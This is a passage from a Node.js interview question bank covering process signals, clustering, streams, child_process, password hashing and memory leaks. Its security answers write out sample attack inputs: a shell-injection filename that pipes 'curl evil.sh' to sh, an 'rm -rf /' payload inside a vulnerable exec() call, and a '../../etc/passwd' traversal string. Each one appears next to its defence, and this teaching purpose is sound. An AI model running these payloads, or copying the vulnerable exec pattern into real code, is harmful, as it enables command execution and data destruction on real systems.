const flusher = setInterval(() => flushMetrics(), 30_000);
flusher.unref(); // process may exit even though this is scheduled
// Why won't my script exit? List what libuv is holding:
setInterval(() => {}, 60_000); // forgotten interval
console.log(process.getActiveResourcesInfo());
// e.g. [ 'Timeout', 'TTYWrap' ]
// Sockets too:
const conn = net.connect(6379, 'redis.internal');
conn.unref(); // idle redis socket won't pin the process
Q20How should a Node process handle SIGTERM and SIGINT, and why is process.exit() dangerous?
BasicProcess Model
Answer
SIGINT is what Ctrl+C sends; SIGTERM is what Docker, Kubernetes, systemd, and PM2 send when they want you to stop. Node's default response to both is immediate termination, which mid-flight means dropped HTTP responses, half-written files, and un-acked queue messages. Production services must intercept them: process.on('SIGTERM', shutdown) where shutdown stops accepting new work (server.close()), finishes or aborts in-flight requests, flushes logs and metrics, closes database pools, and then lets the process exit on its own.
Set a hard deadline (a setTimeout of 10-15 seconds, unref'd) that force-exits if draining hangs, because Kubernetes will SIGKILL you after terminationGracePeriodSeconds anyway and you want your own timeout to fire first with a log line. process.exit(code) is dangerous because it stops the event loop immediately: pending stdout/stderr writes can be truncated (a famous source of missing final log lines when stdout is a pipe), open sqlite transactions abort, and 'exit' handlers run but cannot do async work. Prefer setting process.exitCode = 1 and letting the loop drain. Two container-specific traps interviewers love: as PID 1 in a container, a process gets no default signal handlers at all, so an unhandling Node app simply ignores SIGTERM and waits for the 30-second SIGKILL; run with docker run --init (tini) or handle signals explicitly. And starting via npm start interposes npm as the signal recipient, and npm does not reliably forward signals to the child, so production images should exec node directly: CMD ["node", "server.js"].
const server = app.listen(3000);
let shuttingDown = false;
async function shutdown(signal) {
if (shuttingDown) return;
shuttingDown = true;
console.log(`${signal} received, draining...`);
const deadline = setTimeout(() => {
console.error('Drain timed out, forcing exit');
process.exit(1);
}, 10_000);
deadline.unref();
server.close(); // stop accepting new connections
server.closeIdleConnections(); // drop keep-alive idlers
await jobQueue.close(); // stop pulling new jobs
await db.pool.end(); // return connections
// loop drains -> process exits with code 0 naturally
}
process.on('SIGTERM', () => shutdown('SIGTERM'));
process.on('SIGINT', () => shutdown('SIGINT'));
Key Points
- SIGTERM from orchestrators; default behaviour is instant death
- Drain: server.close, finish in-flight, close pools, then exit naturally
- process.exit() truncates pending stdio writes; prefer process.exitCode
- PID 1 gets no default handlers: use --init or handle signals
- CMD node directly, not npm start (npm swallows signals)
Q21Why does a single Node process not use all CPU cores, and what are the options to scale across them?
BasicConcurrency
Answer
JavaScript in Node executes on one thread: one call stack, one event loop, therefore at most one core busy running your JS at any instant (libuv's pool and V8's GC threads use a bit more, but your request handlers do not). On a 8-core production box, a single process leaves most of the machine idle and, worse, one CPU-heavy request blocks every other request on that process. There are three scaling tools, chosen by problem shape.
The cluster module (and PM2's cluster mode, pm2 start server.js -i max) forks N worker processes that share one listening port; the parent distributes incoming connections (round-robin by default on Linux). Workers are full processes with separate heaps: crash isolation is excellent, but there is no shared memory, and anything like an in-process cache or WebSocket room list silently breaks because each worker has its own copy; that state must move to Redis. worker_threads creates threads inside one process for CPU-bound work (parsing huge files, image resizing, crypto): they can share memory via SharedArrayBuffer and transfer ArrayBuffers with zero copies, and the right pattern is a fixed pool (the piscina library) sized to cores, not a thread per task. child_process runs any external program and is the tool for shelling out. In Kubernetes the calculus changes: you typically run one process per pod with cpu limits near 1 and scale horizontally with replicas, letting the orchestrator do what cluster did. The interview trap is treating these as interchangeable: cluster multiplies I/O throughput across cores, worker_threads rescues the event loop from CPU work, and neither fixes a blocking bug, it just multiplies how much traffic you can hurt.
Key Points
- One thread executes JS: one core max per process
- cluster / PM2 -i max: processes sharing a port, isolated heaps
- worker_threads + piscina for CPU-bound work, SharedArrayBuffer
- In k8s: one process per pod, scale with replicas instead
- In-process caches break under cluster; move state to Redis
Q22What is the module wrapper function in CommonJS, and where do module, exports, and __filename come from?
BasicModules
Answer
Before executing a CommonJS file, Node wraps its source in a function: (function (exports, require, module, __filename, __dirname) { /* your code */ }). Those five identifiers are not globals at all; they are parameters passed in per module, which is why every file gets its own require with its own resolution base and its own module object. This wrapper explains several behaviours candidates otherwise treat as folklore.
Top-level var declarations do not leak globally because they are function-scoped inside the wrapper (in contrast to a browser script tag). exports starts as a reference to module.exports, so exports.foo = 1 works, but the classic trap exports = { foo: 1 } silently does nothing: you reassigned the local parameter, while require() returns module.exports, which still points at the original object. To replace the whole export, you must assign module.exports = { ... }. The wrapper is also why return is legal at the top level of a CJS file (you are inside a function), a trick occasionally used for environment guards.
You can inspect the wrapper via require('node:module').wrapper, and module.exports caching in require.cache means the wrapper body executes exactly once per resolved path. Contrast with ESM for full marks: ES modules are not wrapped in a function, which is why top-level await is possible there and why the CJS pseudo-globals do not exist; ESM's bindings are live exports resolved at parse time rather than properties on a runtime object. This question looks academic but is a favourite at service-company interviews (TCS, Infosys screening rounds) and the exports-reassignment trap still catches working engineers.
// What Node actually executes for a CJS file:
// (function (exports, require, module, __filename, __dirname) {
// ...your code...
// })
console.log(require('node:module').wrapper);
// The classic trap:
exports.ok = true; // works: mutates the shared object
exports = { broken: true }; // does NOTHING visible to importers
module.exports = { fixed: true }; // replaces the export correctly
// Legal only because of the wrapper:
if (process.env.SKIP_WORKER === '1') return; // top-level return in CJS
Q23What changed across Node 20, 22, and 24 that interviewers expect you to know?
BasicVersions
Answer
Even-numbered majors become LTS; as of 2026 the lines that matter are Node 22 and Node 24 (Node 20 reaches end of life in April 2026, so migrations off it are an active workstream at many Indian companies, and 'have you done a Node upgrade?' is a real interview question). Node 20 headlines: the node:test runner went stable, --env-file landed (20.6), import.meta.dirname/filename (20.11), and the experimental permission model appeared. Node 22 headlines: require() of synchronous ES modules arrived (unflagged from 22.12), the browser-compatible WebSocket client became available as a global by default, --experimental-strip-types (22.6) began native TypeScript execution, module.enableCompileCache() (22.8) cut startup times, --watch stabilised, and V8 upgrades brought Array.fromAsync and the Set methods (union, intersection, difference).
Node 24 headlines: type stripping is on by default (running .ts files directly needs no flag for erasable syntax, following 23.6), the permission model matured under the --permission flag, npm 11 ships, URLPattern is exposed as a global, and undici 7 powers fetch. Safe things to say without version-pinning: the test runner, watch mode, env-file loading, glob support in node:fs, and native TS execution have all been progressively stabilising across these lines. The meta-point that impresses interviewers: Node has been systematically absorbing its own ecosystem (nodemon, dotenv, node-fetch, ts-node, partially Jest), so the 2026 skill is knowing what the platform now does natively before reaching for a dependency. If you name one number, make it Node 20's April 2026 EOL, because that is the one with operational consequences right now.
Key Points
- Node 20: stable test runner, --env-file, import.meta.dirname; EOL April 2026
- Node 22: require(esm), global WebSocket client, type stripping behind flag, compile cache
- Node 24: TS type stripping by default, --permission, npm 11, URLPattern global
- Trend: platform absorbing nodemon/dotenv/node-fetch/ts-node use cases
Q24How do you work with filesystem paths portably, and what is the difference between path.join() and path.resolve()?
BasicFile System
Answer
node:path exists because string-concatenating paths breaks across platforms (separator \ versus /) and across inputs (double slashes, trailing slashes, .. segments). path.join(...parts) concatenates segments and normalises the result, staying relative if the input was relative: path.join('uploads', '..', 'tmp', 'a.png') gives 'tmp/a.png'. path.resolve(...parts) always produces an absolute path: it processes arguments right to left until an absolute path is formed, prepending process.cwd() if none of the segments were absolute; path.resolve('uploads', 'a.png') gives '/current/working/dir/uploads/a.png'. The operational difference: join answers 'combine these segments', resolve answers 'where is this on disk from here'. Since resolve depends on the working directory, code that must locate files relative to itself should anchor on import.meta.dirname (or __dirname) instead, or pass URL objects to fs.
The security angle interviewers increasingly test: naive path building from user input enables path traversal. If a request supplies filename = '../../etc/passwd', path.join(UPLOADS, filename) walks out of the uploads directory. The defence is to resolve and then verify containment: const p = path.resolve(UPLOADS, filename) followed by a check that p starts with UPLOADS + path.sep, or use the dedicated comparison with path.relative and reject anything beginning with '..'. Also know: path.basename/extname/dirname for decomposition, path.sep and path.delimiter (PATH env separator) for platform constants, and path.posix/path.win32 to force a flavour, which matters when constructing S3 keys (always forward slashes) on a Windows developer machine.
import path from 'node:path';
path.join('uploads', 'img', 'a.png'); // 'uploads/img/a.png' (relative)
path.resolve('uploads', 'a.png'); // '/cwd/uploads/a.png' (absolute)
path.resolve('/data', '../etc', 'x'); // '/etc/x'
// Path traversal defence for user-supplied names:
const UPLOADS = path.resolve('/srv/uploads');
function safePath(userFile) {
const full = path.resolve(UPLOADS, userFile);
if (!full.startsWith(UPLOADS + path.sep)) {
throw new Error('Path traversal attempt blocked');
}
return full;
}
safePath('avatar.png'); // ok
safePath('../../etc/passwd'); // throws
// S3 keys need forward slashes even on Windows:
const key = path.posix.join('avatars', userId, 'v2.png');
Q25What is backpressure in streams, and what happens when writable.write() returns false?
IntermediateStreams
Answer
Backpressure is flow control between a fast producer and a slow consumer. Every Writable has an internal buffer bounded by highWaterMark (default 64 KB for byte streams, 16 objects in objectMode). writable.write(chunk) returns true while the buffer has room and false once the mark is exceeded. The false is advisory: the write still buffers, nothing throws.
The contract is that the producer must stop writing and resume only on the 'drain' event. Ignoring the false is one of the most common real memory bugs in Node services: reading a large file or database cursor in a tight loop and writing to a slow destination (an HTTP response over a mobile connection, an S3 upload, a gzip transform) buffers the entire difference in speed inside process memory. RSS climbs until the container's memory limit kills the process, and the OOM appears random because it depends on the client's download speed.
This is why pipeline() (or .pipe(), which also honours backpressure but lacks error cleanup) should always sit between streams instead of manual write loops: pipe machinery calls readable.pause() when write returns false and readable.resume() on 'drain' automatically. When you must write manually, the modern option is to await the 'drain' event or simply use await pipeline() with an async generator producer. On the Readable side the same signal appears as push() returning false inside a custom _read() implementation. Interviewers often ask for a war story here; a good one is an export endpoint that ran fine in testing (fast local consumer) and OOM'd in production (slow clients), fixed by replacing res.write loops with pipeline from the DB cursor stream to the response.
import { once } from 'node:events';
import { pipeline } from 'node:stream/promises';
// WRONG: unbounded buffering if dest is slower than the loop
for (const row of millionRows) {
res.write(serialize(row)); // return value ignored -> RSS balloons
}
// RIGHT (manual): respect the false + drain contract
for (const row of millionRows) {
if (!res.write(serialize(row))) {
await once(res, 'drain'); // pause until the buffer empties
}
}
res.end();
// BEST: let pipeline manage backpressure end to end
await pipeline(
db.queryStream('SELECT * FROM orders'),
async function* (rows) { for await (const r of rows) yield serialize(r); },
res,
);
Q26How do you consume streams with async iterators, and when is Readable.from() useful?
IntermediateStreams
Answer
Every Readable implements Symbol.asyncIterator, so for await (const chunk of stream) is the modern consumption pattern: it applies backpressure automatically (the loop body must finish before the next chunk is pulled), converts stream errors into thrown exceptions catchable with try/catch, and destroys the stream if you break out of the loop early. This replaces the older on('data')/on('end')/on('error') listener triple, which had two footguns: 'data' listeners switch the stream to flowing mode with no backpressure unless you manually pause(), and forgetting the 'error' listener crashes the process. The inverse direction is stream.Readable.from(iterable), which turns any iterable or async iterable (including an async generator) into a proper Readable, letting you feed generator-produced data into pipeline, HTTP responses, or any stream-consuming API.
Together they make async generators the lingua franca of data processing: a paginated API fetcher written as an async generator becomes a Readable via Readable.from, flows through transform generators in pipeline, and lands in a file or socket, all with backpressure. Also know the stream utility consumers in node:stream/consumers: text(stream), json(stream), buffer(stream), and arrayBuffer(stream) collect an entire stream in one await, ideal for small bodies where chunk-wise processing is pointless. And recent Node exposes experimental iterator helpers on Readable itself (map, filter, take, drop, toArray with concurrency options), which some codebases already use for lightweight ETL. The interview signal here is composition: candidates who reach for async generators produce shorter, leak-free stream code than those wiring event listeners by hand.
import { Readable } from 'node:stream';
import { pipeline } from 'node:stream/promises';
import { json } from 'node:stream/consumers';
// Paginated API as an async generator...
async function* fetchAllOrders() {
let cursor;
do {
const res = await fetch(`/api/orders?cursor=${cursor ?? ''}`);
const page = await res.json();
yield* page.items;
cursor = page.nextCursor;
} while (cursor);
}
// ...becomes a Readable and flows with backpressure:
await pipeline(
Readable.from(fetchAllOrders()),
async function* (orders) {
for await (const o of orders) yield JSON.stringify(o) + '\n';
},
createWriteStream('orders.ndjson'),
);
// Collect a small body in one shot:
const payload = await json(req); // from node:stream/consumers
Q27worker_threads vs child_process vs cluster: which do you pick for which problem?
IntermediateConcurrency
Answer
Three tools, three problem shapes, and mixing them up is an instant seniority signal. worker_threads runs JavaScript on additional threads inside the same process. Each worker has its own V8 isolate and event loop, communicates via postMessage (structured clone), can transfer ArrayBuffers with zero copy, and can genuinely share memory through SharedArrayBuffer with Atomics for coordination. It is the tool for CPU-bound JS: parsing a 300 MB CSV, resizing images, PDF generation, synchronous crypto, ML pre-processing.
Spawning a worker costs a few milliseconds and real memory (each isolate has its own heap), so production code uses a pool sized to cores, typically via piscina, rather than a worker per task. child_process runs separate OS processes: spawn for streaming external binaries (ffmpeg, pg_dump), execFile for buffered output without a shell, fork for a Node child with a built-in IPC channel. Children survive parent V8 crashes, can run non-Node programs, and isolate native-addon segfaults, but IPC is serialisation-only and process spawn cost is higher. cluster is a specialisation of fork for one job: N copies of the same server sharing one listening port to use all cores for I/O concurrency; in 2026 it mostly appears via PM2 cluster mode or is replaced by Kubernetes replicas. Decision rules to recite: CPU-heavy JS blocking the loop → worker pool.
External binary or crash isolation → child_process. More requests per machine → cluster/PM2/replicas. And the trap: worker_threads does not speed up I/O-bound work at all; async I/O already scales on one thread, and moving awaits into workers just adds serialisation overhead.
// hash-worker.js
import { parentPort } from 'node:worker_threads';
import { scryptSync } from 'node:crypto';
parentPort.on('message', ({ password, salt }) => {
const hash = scryptSync(password, salt, 64).toString('hex');
parentPort.postMessage(hash);
});
// server.js: pool instead of per-task spawn
import Piscina from 'piscina';
const pool = new Piscina({
filename: new URL('./hash-worker.js', import.meta.url).href,
maxThreads: 4, // ~ cores, not requests
});
app.post('/register', async (req, res) => {
// Event loop stays free while a worker burns CPU:
const hash = await pool.run({ password: req.body.password, salt });
res.json({ ok: true });
});
Key Points
- worker_threads: CPU-bound JS, SharedArrayBuffer, pool via piscina
- child_process: external binaries, crash isolation, spawn/execFile/fork
- cluster/PM2 -i: multiply I/O throughput across cores
- Workers do nothing for I/O-bound code
Q28exec vs execFile vs spawn vs fork in child_process, and where does shell injection come in?
IntermediateSecurity
Answer
All four create OS processes but differ on shell involvement, buffering, and IPC. exec(command, cb) runs the command string through /bin/sh, buffers the full stdout/stderr in memory (default maxBuffer 1 MB, exceeding it kills the child with an error), and returns them to the callback. Because a shell interprets the string, any user input concatenated into it is a command-injection vulnerability: a filename like '; curl evil.sh | sh' executes arbitrary commands with your service's privileges. This is not theoretical; it is among the most common critical findings in Node security audits. execFile(file, argsArray) executes the binary directly with arguments passed as an array, no shell, so metacharacters in arguments are inert; it still buffers output. spawn(file, argsArray) is the streaming primitive: no shell by default, no buffering, stdout/stderr are streams you pipe, suitable for long-running or high-output processes like ffmpeg transcodes or pg_dump backups. fork(modulePath) is spawn specialised for Node scripts, adding an IPC channel (child.send/process.on('message')) with structured serialisation.
Rules to state plainly: never pass user input to exec; prefer execFile/spawn with an args array; if you believe you need shell: true, you almost certainly need to redesign; validate even array arguments against allowlists because the target binary itself may have dangerous flags (think tar --checkpoint-action or curl -o). Also handle the operational edges: listen for both 'error' (spawn failure, ENOENT) and 'exit' (code and signal), remember maxBuffer on exec/execFile for chatty commands, use the timeout and signal options to bound runtime, and set detached plus child.unref() for fire-and-forget daemons.
import { exec, execFile, spawn } from 'node:child_process';
// VULNERABLE: filename flows into a shell
const file = req.query.name; // e.g. "x'; rm -rf / #"
exec(`convert uploads/${file} out.png`, cb); // command injection
// SAFE: no shell, args as array
execFile('convert', [`uploads/${file}`, 'out.png'],
{ timeout: 30_000 },
(err, stdout) => { /* metacharacters are inert */ });
// Streaming with spawn for big output:
const dump = spawn('pg_dump', ['--format=custom', dbUrl]);
dump.on('error', (e) => logger.logError(e, 'pg_dump spawn'));
dump.stdout.pipe(createWriteStream('backup.dump'));
dump.on('exit', (code, signal) => {
if (code !== 0) logger.logError(new Error(`pg_dump ${code}/${signal}`), 'backup');
});
Q29How do you detect and measure event-loop blocking in production?
IntermediatePerformance
Answer
Event-loop blocking is Node's signature failure mode: one synchronous operation (a giant JSON.parse, a catastrophic regex, sync fs in a handler, a tight loop over a million rows) freezes every concurrent request, yet CPU graphs look calm and upstream dashboards just show latency spikes. You detect it with loop-delay metrics. perf_hooks.monitorEventLoopDelay({ resolution: 20 }) returns a histogram fed by a high-resolution timer: if a timer scheduled every 20 ms fires late, the loop was blocked; h.percentile(99) gives you the p99 lag in nanoseconds. Export mean/p95/p99/max to Prometheus or SigNoz and alert when p99 lag exceeds, say, 100 ms. The complementary metric is event-loop utilisation: performance.eventLoopUtilization() reports the fraction of time the loop spent active versus idle; an ELU pinned near 1.0 means the process is CPU-saturated and needs work moved off-thread or more replicas, whereas low ELU with high lag points at a few long blocking bursts.
APM agents (Datadog, New Relic, OpenTelemetry's runtime metrics) surface both out of the box. To find the culprit rather than just the symptom: capture a CPU profile in production with --cpu-prof (or the inspector protocol on demand) during a lag episode and read the widest frames in the flame graph; blocked-at libraries like blocked-at can attribute stalls to specific stacks in staging (too heavy for prod). Common culprits to name from experience: JSON.parse/stringify on multi-MB payloads (move to streaming parsers or workers), ReDoS-prone regexes on user input, lodash cloneDeep on big objects, synchronous zlib, and console.log of huge objects through a slow pipe. The fix hierarchy: make it async, chunk it with setImmediate yields, or move it to worker_threads.
import { monitorEventLoopDelay, performance } from 'node:perf_hooks';
const h = monitorEventLoopDelay({ resolution: 20 });
h.enable();
let lastELU = performance.eventLoopUtilization();
setInterval(() => {
const elu = performance.eventLoopUtilization(lastELU);
lastELU = performance.eventLoopUtilization();
metrics.gauge('loop.lag.p99_ms', h.percentile(99) / 1e6);
metrics.gauge('loop.lag.max_ms', h.max / 1e6);
metrics.gauge('loop.utilization', elu.utilization); // 0..1
h.reset();
}, 10_000).unref();
// Alert rules that work in practice:
// p99 lag > 100ms -> something is blocking
// utilization > 0.9 -> CPU-saturated, scale out or offload
Q30How does AbortController work with fetch, timers, and streams in Node?
IntermediateAsync Patterns
Answer
AbortController is the standard cancellation primitive: you create a controller, hand its controller.signal to cancellable APIs, and controller.abort(reason) rejects everything listening with an AbortError DOMException (or your custom reason). Its power in Node is breadth: one signal threads through fetch(url, { signal }), fs/promises operations, timers from node:timers/promises (await setTimeout(5000, val, { signal })), stream.pipeline({ signal }), child_process spawn({ signal }), events.once(emitter, name, { signal }), and even addEventListener registrations. That means a single controller can cancel an entire request's downstream work: when the client disconnects, abort, and the outbound HTTP calls, DB-adjacent timers, and streaming pipelines all unwind together, releasing sockets and memory instead of finishing work nobody will read.
Composition APIs matter in interviews: AbortSignal.timeout(ms) makes a pre-armed signal that fires TimeoutError after ms (the idiomatic fetch timeout), and AbortSignal.any([a, b]) aborts when any constituent does, letting you combine 'caller cancelled' with 'deadline exceeded' cleanly. Patterns to demonstrate: pass signals down through your service functions as an options parameter (mirroring Go's context), check signal.aborted or call signal.throwIfAborted() at loop boundaries in CPU-ish code, and attach cleanup via signal.addEventListener('abort', fn, { once: true }). Gotchas: aborting a fetch after headers arrive destroys body reading mid-stream (handle the AbortError distinctly from network failures in error reporting so cancellations do not pollute your error rate), an already-aborted signal rejects immediately (useful for tests), and forgetting to remove abort listeners on long-lived signals leaks memory, which is why the { signal } option on the listener itself exists.
app.get('/aggregate', async (req, res) => {
const ac = new AbortController();
// Client gone? Stop all downstream work.
req.on('close', () => ac.abort(new Error('client disconnected')));
// Combine caller-cancel with a hard deadline:
const signal = AbortSignal.any([ac.signal, AbortSignal.timeout(4000)]);
try {
const [profile, orders] = await Promise.all([
fetch('http://users-svc/profile/42', { signal }).then(r => r.json()),
fetch('http://orders-svc/by-user/42', { signal }).then(r => r.json()),
]);
res.json({ profile, orders });
} catch (err) {
if (err.name === 'AbortError' || err.name === 'TimeoutError') {
if (!res.headersSent) res.status(504).end();
return; // do not count cancellations as errors
}
throw err;
}
});
Q31What is AsyncLocalStorage and how do you use it for request-scoped context like request IDs?
IntermediateAsync Patterns
Answer
AsyncLocalStorage from node:async_hooks is thread-local storage for async execution: a store you set once at the edge of a request that remains readable from every function in that request's async call chain, across awaits, promise chains, timers, and callbacks, without passing a context parameter through fifty function signatures. You create one instance at module level, call als.run(store, callback) in your entry middleware, and anywhere downstream als.getStore() returns that request's store, correctly isolated even with thousands of interleaved concurrent requests, because the storage propagates along the async continuation chain that V8 and Node track internally. The killer applications: request-ID and trace-context propagation for logging (every log line tagged with requestId and userId without threading them manually), multi-tenancy (the tenant resolved from the subdomain is readable inside the data layer, which can then scope every query), and audit trails.
This is exactly how OpenTelemetry's Node SDK propagates trace context, how pino's HTTP integrations attach request metadata, and why NestJS codebases moved from REQUEST-scoped providers (which cascade scope and slow DI) to nestjs-cls built on this API. Pitfalls worth naming: context is lost if a callback crosses a boundary Node cannot track, classically a connection-pool callback queue implemented with a plain array of callbacks captured earlier, in which case AsyncResource.bind(fn) reattaches the correct context; there is a small but real performance overhead (single-digit percent under heavy load), so avoid stuffing large objects in the store; and it does not cross worker_threads or process boundaries, so context must be re-established from message payloads there. Since recent versions Node also ships a lighter contextVariable-style API, but AsyncLocalStorage remains the production standard.
// context.js
import { AsyncLocalStorage } from 'node:async_hooks';
export const als = new AsyncLocalStorage();
// middleware: establish per-request store at the edge
app.use((req, res, next) => {
const store = {
requestId: req.headers['x-request-id'] ?? crypto.randomUUID(),
userId: null,
};
als.run(store, next); // everything downstream sees this store
});
// logger.js: no parameters threaded anywhere
export function logInfo(msg, data) {
const ctx = als.getStore();
basePino.info({ ...data, requestId: ctx?.requestId, userId: ctx?.userId }, msg);
}
// deep in the service layer, three awaits later:
async function chargeCard(amount) {
logInfo('charging card', { amount }); // requestId appears automatically
}
Q32How do async errors flow through Express middleware, and what changed in Express 5?
IntermediateHTTP
Answer
Express's error pipeline hinges on arity: an error-handling middleware is any function declared with exactly four parameters (err, req, res, next), registered after the routes, and Express jumps to it whenever a handler throws synchronously or calls next(err). The historic trap is asynchrony. In Express 4, a rejected promise or a throw after an await inside an async handler is invisible to Express: the framework predates promises, so the rejection becomes an unhandled promise rejection, which on modern Node crashes the process while the client's request hangs until timeout.
Express 4 codebases therefore wrap every async handler in a catch-and-forward helper (the asyncHandler pattern, or the express-async-errors monkey-patch), and interviewers still ask candidates to write that wrapper from memory. Express 5, which became the default npm install express in 2025, fixes this: rejected promises returned from handlers and middleware are automatically forwarded to next(err), so plain async functions are finally safe and the wrappers can be deleted, one of the main migration payoffs alongside the path-to-regexp route-syntax changes. Rules that stay true in both versions: error middleware order matters (register after routes, most specific first); always check res.headersSent and delegate to next(err) if headers are already out, because you cannot send a second response; centralise the error contract (status, code, requestId) in one terminal error handler and log with the request context there; and distinguish expected operational errors (map to 4xx with clean messages) from unexpected ones (log stack, return opaque 500, never leak stack traces or SQL to clients, a real finding in many Indian startup security audits).
// Express 4 survival kit:
const asyncHandler = (fn) => (req, res, next) =>
Promise.resolve(fn(req, res, next)).catch(next);
app.get('/orders/:id', asyncHandler(async (req, res) => {
const order = await db.orders.find(req.params.id);
if (!order) throw new NotFoundError('order');
res.json(order);
}));
// Express 5: the wrapper is unnecessary, rejections auto-forward
app.get('/orders/:id', async (req, res) => {
const order = await db.orders.find(req.params.id); // may reject safely
res.json(order);
});
// Terminal error middleware (both versions): 4 params = error handler
app.use((err, req, res, next) => {
if (res.headersSent) return next(err);
const status = err.statusCode ?? 500;
logger.logError(err, 'http', req.user?.id, { path: req.path });
res.status(status).json({
error: status < 500 ? err.message : 'Internal error',
requestId: req.id,
});
});
Q33How do you hash passwords with node:crypto alone, and what is timingSafeEqual for?
IntermediateSecurity
Answer
Passwords must be hashed with a deliberately slow, salted, memory-hard function, never MD5/SHA-256 (GPU-crackable at billions of guesses per second) and never encrypted (encryption is reversible). Without leaving node:crypto you have scrypt: crypto.scrypt(password, salt, 64, opts, cb) with a per-user random salt from crypto.randomBytes(16). scrypt is memory-hard, so GPU/ASIC attacks pay a RAM cost, and its work factors (cost N, blockSize r, parallelization p) are tunable; store them alongside the salt and hash so parameters can be upgraded later, the canonical storage format being something like scrypt$N=16384,r=8,p=1$<salt-b64>$<hash-b64> in one column. The current best practice overall is Argon2id via the argon2 npm package (it won the Password Hashing Competition and is OWASP's first recommendation), with bcrypt still acceptable in legacy systems but capped by its 72-byte input limit and lack of memory-hardness; knowing that ranking, and that async scrypt/pbkdf2 run on the libuv thread pool (so heavy login traffic can exhaust the default 4 threads: raise UV_THREADPOOL_SIZE or hash in a worker pool), reads as production experience. crypto.timingSafeEqual(a, b) compares two equal-length buffers in constant time.
A naive === or Buffer.compare short-circuits at the first differing byte, so response-time differences leak how much of a secret matched, which is exploitable against API keys, HMAC signatures, and session tokens over enough samples. Use timingSafeEqual whenever comparing anything secret: verifying webhook HMACs (Razorpay and Stripe signatures), API keys, or password-reset tokens; it throws if lengths differ, so hash both sides first (for example HMAC both values) to normalise length without leaking it.
import { scrypt, randomBytes, timingSafeEqual, createHmac } from 'node:crypto';
import { promisify } from 'node:util';
const scryptAsync = promisify(scrypt);
export async function hashPassword(password) {
const salt = randomBytes(16);
const hash = await scryptAsync(password, salt, 64, { N: 16384, r: 8, p: 1 });
return `scrypt$16384$${salt.toString('base64')}$${hash.toString('base64')}`;
}
export async function verifyPassword(password, stored) {
const [, N, saltB64, hashB64] = stored.split('$');
const salt = Buffer.from(saltB64, 'base64');
const expected = Buffer.from(hashB64, 'base64');
const actual = await scryptAsync(password, salt, 64, { N: +N, r: 8, p: 1 });
return timingSafeEqual(actual, expected); // constant-time
}
// Webhook signature check (e.g. payment gateway):
function verifyWebhook(rawBody, signature, secret) {
const digest = createHmac('sha256', secret).update(rawBody).digest();
const given = Buffer.from(signature, 'hex');
return given.length === digest.length && timingSafeEqual(digest, given);
}
Q34What are V8 heap limits in Node, and what does --max-old-space-size change?
IntermediateMemory
Answer
V8 divides its garbage-collected heap into a small young generation (new space) for freshly allocated objects and a large old generation (old space) for objects that survive a couple of young-generation collections. The old-space ceiling is what people mean by 'the Node memory limit': when live data approaches it, V8 performs increasingly desperate full GCs and finally aborts the process with 'FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory'. The default ceiling is derived from available system memory (commonly landing in the low single-digit GB range on typical hosts), which produces two classic production surprises.
First, in containers the default can exceed the cgroup memory limit, so the kernel OOM-kills the process (exit code 137, no JS error at all) before V8 ever feels pressure; the fix is setting --max-old-space-size explicitly to roughly 75-80% of the container limit, leaving headroom for buffers, native memory, and the stack (for a 2 GB pod: --max-old-space-size=1536). Second, engineers 'fix' leaks by raising the limit, which just delays the crash. Set it via NODE_OPTIONS="--max-old-space-size=1536" so it applies to child processes too.
Related knobs: --max-semi-space-size tunes young-generation size (larger reduces scavenge frequency for allocation-heavy servers at the cost of memory), and heap statistics are readable at runtime via v8.getHeapStatistics() (heap_size_limit confirms your flag took effect) and process.memoryUsage(). Crucially, Buffers and other native allocations live outside this limit (the external and arrayBuffers fields), so a process can be OOM-killed with a tiny JS heap if it leaks buffers; distinguishing heap OOM (V8 fatal error) from container OOM (SIGKILL, exit 137) is a debugging skill interviewers explicitly test.
# Container with 2Gi memory limit:
NODE_OPTIONS="--max-old-space-size=1536" node server.js
// Verify and observe from inside the process:
import v8 from 'node:v8';
const stats = v8.getHeapStatistics();
console.log('limit MB', (stats.heap_size_limit / 1048576).toFixed(0));
const m = process.memoryUsage();
console.log({
rss: m.rss, // total OS memory for the process
heapTotal: m.heapTotal, // V8 heap reserved
heapUsed: m.heapUsed, // live JS objects
external: m.external, // native allocations bound to JS
arrayBuffers: m.arrayBuffers, // Buffers live here, NOT in heapUsed
});
# Symptom cheat-sheet:
# 'Reached heap limit' fatal error -> JS heap exhausted (raise limit or fix leak)
# exit code 137, no JS error -> cgroup OOM kill (limit unset or too high)
Q35A Node service's memory grows until the container is OOM-killed. How do you find the leak?
IntermediateMemory
Answer
First confirm it is a leak, not load: plot process.memoryUsage() over time at steady traffic; monotonic heapUsed growth across GCs is a leak, sawtooth that returns to baseline is normal. Also check which number grows: heapUsed points at JS objects, while growing external/arrayBuffers with flat heapUsed means leaked Buffers (often un-consumed HTTP response bodies or a native addon), a distinction that redirects the whole investigation. For JS-heap leaks the tool is heap snapshots compared over time.
Capture without redeploying: send SIGUSR2 with --heapsnapshot-signal=SIGUSR2 set, call v8.writeHeapSnapshot() from an admin endpoint, or attach Chrome DevTools via chrome://inspect after enabling the inspector (kill -USR1 <pid> enables it on demand). Take snapshot A at baseline, run traffic, take snapshot B, and use the DevTools Comparison view sorted by retained-size delta: the growing constructor tells you what leaks, and the retainer chain tells you why it cannot be collected. The usual suspects to name from experience: unbounded in-process caches and memoization maps (fix with lru-cache and a max size), event listeners added per request on long-lived emitters (the MaxListenersExceededWarning is your early smoke alarm), closures captured by setInterval that hold request-sized objects forever, promise chains that never settle keeping their scopes alive, growing arrays used as queues, and module-level accumulation in code written as if per-request.
For a lighter-weight confirmation in production, allocation sampling (--heap-prof, or the DevTools Allocation sampling profiler) shows which stacks allocate the memory that persists. Interviewers want a method, not tool names alone: measure, snapshot, diff, read retainers, fix, then prove the fix by watching the same graph go flat.
# Enable on-demand snapshots in production:
NODE_OPTIONS="--heapsnapshot-signal=SIGUSR2" node server.js
kill -USR2 <pid> # writes Heap.<date>.heapsnapshot next to cwd
// Or from an authenticated admin route:
import v8 from 'node:v8';
adminRouter.post('/debug/heap', (req, res) => {
const file = v8.writeHeapSnapshot(); // blocks the loop briefly!
res.json({ file });
});
// Classic leak the diff will surface, and its fix:
const cache = new Map(); // unbounded: grows forever under unique keys
function getUser(id) { /* cache.set(id, bigObject) */ }
import { LRUCache } from 'lru-cache';
const bounded = new LRUCache({ max: 5000, ttl: 60_000 }); // capped
Q36How do you CPU-profile a slow Node endpoint: --cpu-prof, 0x, and flame graphs?
IntermediatePerformance
Answer
